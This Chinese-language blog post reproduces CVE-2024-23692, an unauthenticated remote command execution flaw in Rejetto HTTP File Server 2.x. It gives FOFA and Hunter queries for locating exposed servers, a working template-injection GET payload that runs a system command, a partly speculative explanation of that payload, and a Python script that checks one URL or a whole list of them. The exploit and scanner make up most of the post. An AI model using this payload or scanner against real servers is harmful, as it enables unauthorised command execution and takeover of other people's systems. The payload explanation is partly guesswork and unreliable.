【漏洞复现】Rejetto HTTP文件服务器——远程命令执行(CVE-2024-23692)

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录


漏洞描述

Rejetto HTTP文件服务器是一个轻量级的HTTP服务器软件,它允许用户在本地计算机上快速搭建一个文件共享服务。其 2.x系列 存在CVE-2024-23692远程命令执行漏洞,攻击者可在无需登陆的情况下利用模板注入执行任意命令,从而控制服服务器。

漏洞复现

1)信息收集

fofa:app="HFS"

hunter:app.name="HTTP File Server"

巧合是上帝默默操控世界的方式。

2)构造数据包

python 复制代码
GET /?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1
Host:ip

代码解释:

python 复制代码
/?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}

这个payload实际上是一个经过编码的命令,让我们更详细地分析其各个组成部分:

  1. 编码前原始命令

    • 原始命令是这样的:cmd=net user &search=xxx%url:password
    • 这里cmd代表命令,net user是Windows系统中查看用户账户的命令。
    • &search=xxx%url:password部分是一个搜索条件。
  2. URL编码

    • %0A是换行符\n的URL编码形式。
    • %25是百分号%的URL编码形式,所以%25xxx%25代表%xxx%
  3. 脚本或命令行工具语法

    • {.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}这部分是一个特定脚本或命令行工具的语法,用于执行命令并设置参数。
    • .exec是执行命令的标志。
    • {.?cmd.}是一个动态替换为实际命令的占位符。
    • timeout=15设置了命令执行的超时时间限制为15秒。
    • out=abc.指定了输出结果应该被写入到以abc为前缀的文件中,但具体文件扩展名未知。
  4. 输出结果

    • RESULT:{.?n.}{.?n.}{.^abc.}这部分指定了输出结果的格式。
    • {.?n.}可能是用于输出变量或特定值的占位符。
    • {.^abc.}可能表示将输出追加到之前提到的以abc为前缀的文件中。
  5. 分隔符

    • ====用作分隔符,以区分输出中的不同部分。

这个payload可能是用于在远程服务器或网络设备上执行命令,获取用户列表,并搜索包含特定字符串的用户账户。

在回显中看到了用户名,命令被执行,漏洞存在。

测试工具

poc

python 复制代码
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import http.client
import argparse
from urllib.parse import urlparse
from urllib3.exceptions import InsecureRequestWarning
import ssl

# 定义红色和重置终端输出格式的常量,用于高亮显示漏洞提示
RED = '\033[91m'
RESET = '\033[0m'

def check_vulnerability(url):
    """
    检查给定URL是否存在Rejetto HTTP File Server远程代码执行漏洞(CVE-2024-23692)。
    
    :param url: 待检查的URL字符串。
    """
    try:
        # 忽略HTTPS证书验证错误,以进行漏洞测试
        # 忽略不安全的HTTPS请求警告
        ssl._create_default_https_context = ssl._create_unverified_context

        # 解析URL以获取主机、方案和路径信息
        # 解析URL
        parsed_url = urlparse(url)
        host = parsed_url.netloc
        scheme = parsed_url.scheme
        path = parsed_url.path if parsed_url.path else '/'

        # 构造利用漏洞的攻击路径
        # 构造完整的攻击URL路径
        attack_path = path + "/?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"

        # 根据URL的方案(HTTP或HTTPS)创建连接对象
        # 根据URL的协议类型,选择合适的连接方式
        if scheme == "https":
            conn = http.client.HTTPSConnection(host, context=ssl._create_unverified_context())
        else:
            conn = http.client.HTTPConnection(host)

        # 发送GET请求到构造的攻击路径
        # 发送请求
        conn.request("GET", attack_path)
        response = conn.getresponse()

        # 读取并解码响应数据
        data = response.read().decode('utf-8')

        # 检查响应状态码是否为200且数据中是否包含'Administrator',以判断漏洞是否存在
        if response.status == 200 and 'Administrator' in data:
            print(f"{RED}URL [{url}] 存在Rejetto HTTP File Server远程代码执行漏洞(CVE-2024-23692){RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")

        # 关闭HTTP连接
        conn.close()
    except Exception as e:
        # 打印在检测过程中发生的任何异常
        print(f"URL [{url}] 在检测过程中发生错误: {e}")

def main():
    """
    程序主入口,负责解析命令行参数并调用漏洞检测函数。
    """
    # 创建命令行参数解析器
    parser = argparse.ArgumentParser(description='检测目标地址是否存在Rejetto HTTP File Server远程代码执行漏洞(CVE-2024-23692)')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    # 解析命令行参数
    args = parser.parse_args()

    # 如果指定了URL参数
    if args.url:
        # 确保URL以HTTP或HTTPS开头,否则添加HTTP
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        # 调用漏洞检测函数
        check_vulnerability(args.url)
    # 如果指定了文件参数
    elif args.file:
        # 读取文件中的每行作为URL,逐个检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 确保URL以HTTP或HTTPS开头,否则添加HTTP
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

运行截图


多少事,从来急,天地转,光阴迫,一万年太久,只争朝夕。

相关推荐
火绒终端安全管理系统2 小时前
火绒终端安全管理系统V2.0【系统防御功能】
网络·安全·网络安全·火绒安全·火绒
H轨迹H2 小时前
BUUCTF-Web方向16-20wp
网络安全·渗透测试·ctf·buuctf
D-river3 小时前
【如何基于Debian构建Kali Linux】
linux·网络·安全·网络安全
donglxd4 小时前
防御黑客系列-第一集-电脑登录记录提示和登录远程推送
windows·网络安全·电脑·系统安全
尘佑不尘9 小时前
Prime_Series_Level-1靶场,wpscan爆破,LFI漏洞,wordpress更改文件getshell,ubuntu内核提权
linux·web安全·渗透测试·vulnhub
温柔小胖21 小时前
sql注入之python脚本进行时间盲注和布尔盲注
数据库·sql·网络安全
网络安全筑盾者-燕子1 天前
计算机网络-OSI七层参考模型与数据封装,网络安全零基础入门到精通实战教程!
网络·计算机网络·安全·web安全·网络安全·osi
hvinsion1 天前
深入解析TLS协议:保障网络通信安全的关键技术
网络协议·安全·网络安全
网安Ruler1 天前
泷羽Sec-黑客基础之html(超文本标记语言)
前端·学习·网络安全·html
仇辉攻防1 天前
【云安全】云原生-Docker(六)Docker API 未授权访问
web安全·网络安全·docker·云原生·容器·kubernetes·安全威胁分析